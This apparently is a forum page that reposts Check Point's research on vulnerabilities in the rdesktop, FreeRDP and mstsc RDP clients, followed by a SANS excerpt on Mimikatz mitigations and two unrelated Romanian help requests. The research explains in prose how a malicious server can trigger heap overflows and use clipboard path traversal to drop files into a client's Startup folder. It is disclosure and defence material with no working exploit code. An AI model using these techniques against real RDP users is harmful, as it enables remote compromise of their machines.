remote sandboxed virtual machine that contains a tested malware. This allows the malware to escape the sandbox and infiltrate the corporate network. Now that we decided on our attack vector, it is time to introduce our targets, the most commonly used RDP clients: mstsc.exe – Microsoft’s built-in RDP client. FreeRDP – The most popular and mature open-source RDP client on Github. rdesktop – Older open-source RDP client, comes by default in Kali-linux distros. Fun fact: As “rdesktop” is the built-in client in Kali-linux, a Linux distro used by red teams for penetration testing, we thought of a 3rd (though probably not practical) attack scenario: Blue teams can install organizational honeypots and attack red teams that try to connect to them through the RDP protocol. Open-Source RDP clients As is usually the case, we decided to start looking for vulnerabilities in the open source clients. It seems that it will only make sense to start reverse engineer Microsoft’s client after we will have a firm understanding of the protocol. In addition, if we find common vulnerabilities in the two open sourced clients, we could check if they also apply to Microsoft’s client. In a recon check it looked like “rdesktop” is smaller than “FreeRDP” (has fewer lines of code), and so we selected it as our first target. Note: We decided to perform an old-fashioned manual code audit instead of using any fuzzing technique. The main reasons for this decision were the overhead of writing a dedicated fuzzer for the complex RDP protocol, together with the fact that using AFL for a protocol with several compression and encryption layers didn’t look like a good idea. rdesktop Tested version: v1.8.3 After a short period, it looked like the decision to manually search for vulnerabilities paid off. We soon found several vulnerable patterns in the code, making it easier to “feel” the code, and pinpoint the locations of possible vulnerabilities. We found 11 vulnerabilities with a major security impact, and 19 vulnerabilities overall in the library. For the full list of CVEs for “rdesktop”, see Appendix A. Note: An additional recon showed that the xrdp open-source RDP server is based on the code of “rdesktop”. Based on our findings, it appears that similar vulnerabilities can be found in “xrdp” as well. Instead of a technical analysis of all of the CVEs, we will focus on two common vulnerable code patterns that we found. Remote Code Executions – CVEs 2018-20179 – 2018-20181 Throughout the code of the client, there is an assumption that the server sent enough bytes to the client to process. One example for this assumption can be found in the following code snippet in Figure 2: Figure 2: Parsing 2 fields from stream “s” without first checking its size As we can see, the fields “length” and “flags” are parsed from the stream “s”, without checking that “s” indeed contains the required 8 bytes for this parsing operation. While this usually only leads to an Out-Of-Bounds read, we can combine this vulnerability with an additional vulnerability in several of the inner channels and achieve a much more severe effect. There are three logical channels that share a common vulnerability: lspci rdpsnddbg – yes, this debug channel is always active seamless The vulnerability itself can be seen in Figure 3: Figure 3: Integer-Underflow when calculating the remaining “pkglen” By reading too much data from the stream, i.e. sending a chopped packet to the client, the invariant that “s->p <= s->end” breaks. This leads to an Integer-Underflow when calculating “pkglen”, and to an additional Integer-Overflow when allocating “xmalloc(pkglen + 1)” bytes for our buffer, as can be seen in my comment above the call to “xmalloc”. Together with the proprietary implementation of “STRNCPY”, seen in Figure 4, we can trigger a massive heap-based buffer overflow when copying data to the tiny allocated heap buffer. Figure 4: proprietary implementation of the “strncpy” function By chaining together these two vulnerabilities, found in three different logical channels, we now have three remote code execution vulnerabilities. CVE 2018-8795 – Remote Code Execution Another classic vulnerability is an Integer-Overflow when processing the received bitmap (screen content) updates, as can be seen in Figure 5: Figure 5: Integer-Overflow when processing bitmap updates Although “width” and “height” are only 16 bits each, by multiplying them together with “Bpp” (bits-per-pixel), we can trigger an Integer-Overflow. Later on, the bitmap decompression will process our input and break on any decompression error, giving us a controllable heap-based buffer-overflow. Note: This tricky calculation can be found in several places throughout the code of “rdesktop”, so we marked it as a potential vulnerability to check for in “FreeRDP”. FreeRDP Tested version: 2.0.0-rc3 After finding multiple vulnerabilities in “rdesktop”, we approached “FreeRDP” with some trepidation; perhaps only “rdesktop” had vulnerabilities when implementing RDP? We still can’t be sure that every implementation of the protocol will be vulnerable. And indeed, at first glance, the code seemed much better: there are minimal size checks before parsing data from the received packet, and the code “feels” more mature. It is going to be a challenge. However, after a deeper examination, we started to find cracks in the code, and eventually we found critical vulnerabilities in this client as well. We found 5 vulnerabilities with major security impact, and 6 vulnerabilities overall in the library. For the full list of CVEs for “FreeRDP”, see Appendix B. Note: An additional recon showed that the RDP client NeutrinoRDP is a fork of an older version (1.0.1) of “FreeRDP” and therefore probably suffers from the same vulnerabilities. At the end of our research, we developed a PoC exploit for CVE 2018-8786, as can be seen in this video: CVE 2018-8787 – Same Integer-Overflow As we saw earlier in “rdesktop”, calculating the dimensions of a received bitmap update is susceptible to Integer-Overflows. And indeed, “FreeRDP” shares the same vulnerability: Figure 6: Same Integer-Overflow when processing bitmap updates Remote Code Execution – CVE 2018-8786 Figure 7: Integer-Truncation when processing bitmap updates As can be seen in Figure 7, there is an Integer-Truncation when trying to calculate the required capacity for the bitmap updates array. Later on, rectangle structs will be parsed from our packet and into the memory of the too-small allocated buffer. This specific vulnerability is followed by a controlled amount (“bitmapUpdate->number”) of heap allocations (with a controlled size) when the rectangles are parsed and stored to the array, granting the attacker a great heap-shaping primitive. The downside of this vulnerability is that most of the rectangle fields are only 16 bits wide, and are upcasted to 32 bits to be stored in the array. Despite this, we managed to exploit this CVE in our PoC. Even this partially controlled heap-based buffer-overflow is enough for a remote code execution. Mstsc.exe – Microsoft’s RDP client Tested version: Build 18252.rs_prerelease.180928-1410 After we finished checking the open source implementations, we felt that we had a pretty good understanding of the protocol and can now start to reverse engineer Microsoft’s RDP client. But first thing first, we need to find which binaries contain the logic we want to examine. The *.dll files and *.exe files we chose to focus on: rdpbase.dll – Protocol layer for the RDP client. rdpserverbase.dll – Protocol layer for the RDP server. rdpcore.dll / rdpcorets.dll – Core logic for the RDP engine. rdpclip.exe – An .exe we found and that we will introduce later on. mstscax.dll – Mostly the same RDP logic, used by mstsc.exe. Testing prior vulnerabilities We started by testing our PoCs for the vulnerabilities in the open-source clients. Unfortunately, all of them caused the client to close itself cleanly, without any crash. Having no more excuses, we opened IDA and started to track the flow of the messages. Soon enough, we realized that Microsoft’s implementation is much better than the implementations we tested previously. Actually, it seems like Microsoft’s code is better by several orders of magnitude, as it contains: Several optimization layers for efficient network streaming of the received video. Robust input checks. Robust decompression checks, to guarantee that no byte will be written past the destination buffer. Additional supported clipboard features. … Needless to say, there were checks for Integer-Overflows when processing bitmap updates. Wait a minute, they share a clipboard? When we checked “rdesktop” and “FreeRDP”, we found several vulnerabilities in the clipboard sharing channel (every logical data layer is called a channel). However, at the time, we didn’t pay much attention to it because they only shared two formats: raw text and Unicode text. This time it seems that Microsoft supports several more shared data formats, as the switch table we saw was much bigger than before. After reading more about the different formats in MSDN, one format immediately attracted our attention: “CF_HDROP”. This format seems responsible for “Drag & Drop” (hence the name HDROP), and in our case, the “Copy & Paste” feature. It’s possible to simply copy a group of files from the first computer, and paste them in the second computer. For example, a malware researcher might want to copy the output log of his script from the remote VM to his desktop. It was roughly at this point, while I was trying to figure out the flow of the data, Omer (@GullOmer) asked me if and where PathCanonicalizeA is called. If the client fails to properly canonicalize and sanitize the file paths it receives, it could be vulnerable to a path-traversal attack, allowing the server to drop arbitrary files in arbitrary paths on the client’s computer, a very strong attack primitive. After failing to find imports for the canonicalization function, we dug in deeper, trying to figure out the overall architecture for this data flow. Figure 8 summarizes our findings: Figure 8: Architecture of the clipboard sharing in Microsoft’s RDP This is where rdpclip.exe comes into play. It turns out that the server accesses the clipboard through a broker, and that is rdpclip.exe. In fact, rdpclip.exe is just a normal process (we can kill / spawn it ourselves) that talks to the RDP service using a dedicated virtual channel API. At this stage, we installed ClipSpy, and started to dynamically debug the clipboard’s data handling that is done inside rdpclip.exe. These are our conclusions regarding the data flow in an ordinary “Copy & Paste” operation in which a file is copied from the server to the client: On the server, the “copy” operation creates a clipboard data of the format “CF_HDROP”. When the “paste” is performed in the client’s computer, a chain of events is triggered. The rdpclip.exe process on the server is asked for the clipboard’s content, and converts it to a FileGroupDescriptor (Fgd) clipboard format. The metadata of the files is added to the descriptor one at a time, using the HdropToFgdConverter::AddItemToFgd() function. After it is finished, the Fgd blob is sent to the RDP service on the server. The server simply wraps it and sends it to the client. The client unwraps it and stores it in its own clipboard. A “paste” event is sent to the process of the focused window (for example, explorer.exe). This process handles the event and reads the data from the clipboard. The content of the files is received over the RDP connection itself. Path Traversal over the shared RDP clipboard If we look back on the steps performed on the received clipboard data, we notice that the client doesn’t verify the received Fgd blob that came from the RDP server. And indeed, if we modify the server to include a path traversal path of the form: ..\canary1.txt, ClipSpy shows us (see Figure 9) that it was stored “as is” on the client’s clipboard: Figure 9: Fgd with a path-traversal was stored on the client’s clipboard In Figure 10, we can see how explorer.exe treats a path traversal of ..\filename.txt: Figure 10: Fgd with a path-traversal as explorer.exe handles it Just to make sure, after the “paste” in folder “Inner”, the file is stored to “Base” instead: Figure 11: Folders after a successful path traversal attack And that’s practically it. If a client uses the “Copy & Paste” feature over an RDP connection, a malicious RDP server can transparently drop arbitrary files to arbitrary file locations on the client’s computer, limited only by the permissions of the client. For example, we can drop malicious scripts to the client’s “Startup” folder, and after a reboot they will be executed on his computer, giving us full control. Note: In our exploit, we simply killed rdpclip.exe, and spawned our own process to perform the path traversal attack by adding additional malicious file to every “Copy & Paste” operation. The attack was performed with “user” permissions, and does not require the attacker to have “system” or any other elevated permission. Here is a video of our PoC exploit: Taking it one step further Every time a clipboard is updated on either side of the RDP connection, a CLIPRDR_FORMAT_LIST message is sent to the other side, to notify it about the new clipboard formats that are now available. We can think of it as a complete sync between the clipboards of both parties (except for a small set of formats that are treated differently by the RDP connection itself). This means that our malicious server is notified whenever the client copies something to his “local” clipboard, and it can now query the values and read them. In addition, the server can notify the client about a clipboard “update” without the need for a “copy” operation inside the RDP window, thus completely controlling the client’s clipboard without being noticed. Scenario #1: A malicious RDP server can eavesdrop on the client’s clipboard – this is a feature, not a bug. For example, the client locally copies an admin password, and now the server has it too. Scenario #2: A malicious RDP server can modify any clipboard content used by the client, even if the client does not issue a “copy” operation inside the RDP window. If you click “paste” when an RDP connection is open, you are vulnerable to this kind of attack. For example, if you copy a file on your computer, the server can modify your (executable?) file / piggy-back your copy to add additional files / path-traversal files using the previously shown PoC. We were able to successfully test this attack scenario using NCC’s .NET deserialization PoC: The server executes their PoC, and positions in the clipboard a .NET content that will pop a calculator (using the “System.String” format). When the client clicks “paste” inside the PowerShell program, the deserialization occurs and a calc is popped. Note: The content of the synced clipboard is subject to Delayed Rendering. This means that the clipboard’s content is sent over the RDP connection only after a program actively asks for it, usually by clicking “paste”. Until then, the clipboard only holds the list of formats that are available, without holding the content itself. Disclosure Timeline 16 October 2018 – Vulnerability was disclosed to Microsoft. 22 October 2018 – Vulnerabilities were disclosed to FreeRDP. 22 October 2018 – FreeRDP replied and started working on a patch. 28 October 2018 – Vulnerabilities were disclosed to rdesktop. 5 November 2018 – FreeRDP sent us the patches and asked for us to verify them. 18 November 2018 – We verified the patches of FreeRDP, and gave them a “green light” to continue. 20 November 2018 – FreeRDP committed the patches to their Github as part of 2.0.0-rc4. 17 December 2018 – Microsoft acknowledged our findings. For more information, see Microsoft’s Response. 19 December 2018 – rdesktop sent us the patches and asked us to verify them. 19 December 2018 – We verified the patches of rdesktop, and gave them a “green light” to continue. 16 January 2019 – rdesktop committed the patches to their Github as part of v1.8.4. Microsoft’s Response During the responsible disclosure process, we sent the details of the path traversal in mstsc.exe to Microsoft. This is Microsoft’s official response: “Thank you for your submission. We determined your finding is valid but does not meet our bar for servicing. For more information, please see the Microsoft Security Servicing Criteria for Windows (https://aka.ms/windowscriteria).” As a result, this path traversal has no CVE-ID, and there is no patch to address it. Conclusion During our research, we found numerous critical vulnerabilities in the tested RDP clients. Although the code quality of the different clients varies, as can be seen by the distribution of the vulnerabilities we found, we argue that the remote desktop protocol is complicated, and is prone to vulnerabilities. As we demonstrated in our PoCs for both Microsoft’s client and one of the open-sourced clients, a malicious RDP server can leverage the vulnerabilities in the RDP clients to achieve remote code execution over the client’s computer. As RDP is regularly used by IT staff and technical workers to connect to remote computers, we highly recommend that everyone patch their RDP clients. In addition, due to the nature of the clipboard findings we showed in Microsoft’s RDP client, we recommend users to disable the clipboard sharing channel (on by default) when connecting to a remote machine. Recommendation for Protection Check Point recommends the following steps in order to protect against this attack: Check Point Research worked closely with FreeRDP, rdesktop and Microsoft to mitigate these vulnerabilities. If you are using rdesktop or FreeRDP, update to the latest version which includes the relevant patches. When using Microsoft RDP client (MSTSC), we strongly recommend disabling bi-directional clipboard sharing over RDP. Apply security measures to both the clients and the servers involved in the RDP communication. Check Point provides various security layers that may be used for protection such as IPS, SandBlast Agent, Threat Emulation and ANTEX. Users should avoid using RDP to connect to remote servers that have not implemented sufficient security measures. Check Point’s IPS blade provides protections against these threats: “FreeRDP Remote Code Execution (CVE-2018-8786)” Appendix A – CVEs found in rdesktop: CVE 2018-8791: rdesktop versions up to and including v1.8.3 contain an Out-Of-Bounds Read in function rdpdr_process() that results in an information leak. CVE 2018-8792: rdesktop versions up to and including v1.8.3 contain an Out-Of-Bounds Read in function cssp_read_tsrequest() that results in a Denial of Service (segfault). CVE 2018-8793: rdesktop versions up to and including v1.8.3 contain a Heap-Based Buffer Overflow in function cssp_read_tsrequest() that results in a memory corruption and probably even a remote code execution. CVE 2018-8794: rdesktop versions up to and including v1.8.3 contain an Integer Overflow that leads to an Out-Of-Bounds Write in function process_bitmap_updates() and results in a memory corruption and possibly even a remote code execution. CVE 2018-8795: rdesktop versions up to and including v1.8.3 contain an Integer Overflow that leads to a Heap-Based Buffer Overflow in function process_bitmap_updates() and results in a memory corruption and probably even a remote code execution. CVE 2018-8796: rdesktop versions up to and including v1.8.3 contain an Out-Of-Bounds Read in function process_bitmap_updates() that results in a Denial of Service (segfault). CVE 2018-8797: rdesktop versions up to and including v1.8.3 contain a Heap-Based Buffer Overflow in function process_plane() that results in a memory corruption and probably even a remote code execution. CVE 2018-8798: rdesktop versions up to and including v1.8.3 contain an Out-Of-Bounds Read in function rdpsnd_process_ping() that results in an information leak. CVE 2018-8799: rdesktop versions up to and including v1.8.3 contain an Out-Of-Bounds Read in function process_secondary_order() that results in a Denial of Service (segfault). CVE 2018-8800: rdesktop versions up to and including v1.8.3 contain a Heap-Based Buffer Overflow in function ui_clip_handle_data() that results in a memory corruption and probably even a remote code execution. CVE 2018-20174: rdesktop versions up to and including v1.8.3 contain an Out-Of-Bounds Read in function ui_clip_handle_data() that results in an information leak. CVE 2018-20175: rdesktop versions up to and including v1.8.3 contains several Integer Signedness errors that leads to Out-Of-Bounds Reads in file mcs.c and result in a Denial of Service (segfault). CVE 2018-20176: rdesktop versions up to and including v1.8.3 contains several Out-Of-Bounds Reads in file secure.c that result in a Denial of Service (segfault). CVE 2018-20177: rdesktop versions up to and including v1.8.3 contain an Integer Overflow that leads to a Heap-Based Buffer Overflow in function rdp_in_unistr() and results in a memory corruption and possibly even a remote code execution. CVE 2018-20178: rdesktop versions up to and including v1.8.3 contain an Out-Of-Bounds Read in function process_demand_active() that results in a Denial of Service (segfault). CVE 2018-20179: rdesktop versions up to and including v1.8.3 contain an Integer Underflow that leads to a Heap-Based Buffer Overflow in function lspci_process() and results in a memory corruption and probably even a remote code execution. CVE 2018-20180: rdesktop versions up to and including v1.8.3 contain an Integer Underflow that leads to a Heap-Based Buffer Overflow in function rdpsnddbg_process() and results in a memory corruption and probably even a remote code execution. CVE 2018-20181: rdesktop versions up to and including v1.8.3 contain an Integer Underflow that leads to a Heap-Based Buffer Overflow in function seamless_process() and results in a memory corruption and probably even a remote code execution. CVE 2018-20182: rdesktop versions up to and including v1.8.3 contain a Buffer Overflow over the global variables in function seamless_process_line() that results in a memory corruption and probably even a remote code execution. Appendix B – CVEs found in FreeRDP: CVE 2018-8784: FreeRDP prior to version 2.0.0-rc4 contains a Heap-Based Buffer Overflow in function zgfx_decompress_segment() that results in a memory corruption and probably even a remote code execution. CVE 2018-8785: FreeRDP prior to version 2.0.0-rc4 contains a Heap-Based Buffer Overflow in function zgfx_decompress() that results in a memory corruption and probably even a remote code execution. CVE 2018-8786: FreeRDP prior to version 2.0.0-rc4 contains an Integer Truncation that leads to a Heap-Based Buffer Overflow in function update_read_bitmap_update() and results in a memory corruption and probably even a remote code execution. CVE 2018-8787: FreeRDP prior to version 2.0.0-rc4 contains an Integer Overflow that leads to a Heap-Based Buffer Overflow in function gdi_Bitmap_Decompress() and results in a memory corruption and probably even a remote code execution. CVE 2018-8788: FreeRDP prior to version 2.0.0-rc4 contains an Out-Of-Bounds Write of up to 4 bytes in function nsc_rle_decode() that results in a memory corruption and possibly even a remote code execution. CVE 2018-8789: FreeRDP prior to version 2.0.0-rc4 contains several Out-Of-Bounds Reads in the NTLM Authentication module that results in a Denial of Service (segfault). Sursa: https://research.checkpoint.com/reverse-rdp-attack-code-execution-on-rdp-clients/

Mitigations against Mimikatz Style Attacks Published: 2019-02-05 Last Updated: 2019-02-05 15:26:32 UTC by Rob VandenBrink (Version: 1) If you are like me, at some point in most penetration tests you'll have a session on a Windows host, and you'll have an opportunity to dump Windows credentials from that host, usually using Mimikatz. Mimikatz parses credentials (either clear-text or hashes) out of the LSASS process, or at least that's where it started - since it's original version back in the day, it has expanded to cover several different attack vectors. An attacker can then use these credentials to "pivot" to attack other resources in the network - this is commonly called "lateral movement", though in many cases you're actually walking "up the tree" to ever-more-valuable targets in the infrastructure. The defender / blue-teamer (or the blue-team's manager) will often say "this sounds like malware, isnt't that what Antivirus is?". Sadly, this is half right - malware does use this style of attack. The Emotet strain of malware for instance does exactly this, once it gains credentials and persistence it often passes control to other malware (such as TrickBot or Ryuk). Also sadly, it's been pretty easy to bypass AV on this for some time now - there are a number of well-known bypasses that penetration testers use for the Mimikatz + AV combo, many of them outlined on the BHIS blog: https://www.blackhillsinfosec.com/bypass-anti-virus-run-mimikatz But what about standard Windows mitigations against Mimikatz? Let's start from the beginnning, when Mimikatz first came out, Microsoft patched against that first version of code using KBKB2871997 (for Windows 7 era hosts, way back in 2014). Articol complet: https://isc.sans.edu/diary/rss/24612

sunt o persoana care are un proiect mic pentru cei interesati ar putea sa`si spuna pretul lor. imi cer scuze daca am ofensat pe cineva si daca am incalcat regulamentul, cat despre partea cu bun simtul...sa ne limitam putin ca n`are legatura bunul simt cu situatia asta. fiind un membru activ iulik ti-as ramane dator daca m-ai indrepta spre cineva care are cunostinte decat sa ma iei la shtanga SARU`MANAAAAA

Va salut sunt nou aici. Caut pe cineva cu cunostinte in .NET pentru o editare a unui programel. Va multumesc